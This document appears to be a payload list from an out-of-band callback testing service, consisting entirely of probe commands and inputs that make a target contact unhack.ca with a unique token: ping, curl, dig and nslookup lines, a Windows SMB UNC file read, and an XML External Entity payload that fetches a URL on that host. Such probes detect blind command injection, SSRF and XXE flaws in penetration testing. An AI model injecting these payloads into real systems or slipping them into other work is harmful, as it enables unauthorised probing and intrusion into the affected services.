$ ping -c1 -p 00d8f801efe9d1d675c4f008055fbc00 unhack.ca
 

$ curl http://unhack.ca/p/d8f801efe9d1d675c4f008055fbc
 

$ dig d8f801efe9d1d675c4f008055fbc @unhack.ca
 

$ dig d8f801efe9d1d675c4f008055fbc.ns.unhack.ca
 

C:\> nslookup d8f801efe9d1d675c4f008055fbc unhack.ca
 

C:\> type \\unhack.ca\d8f801efe9d1d675c4f008055fbc\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d8f801efe9d1d675c4f008055fbc">]>
    <foo>&xxe;</foo>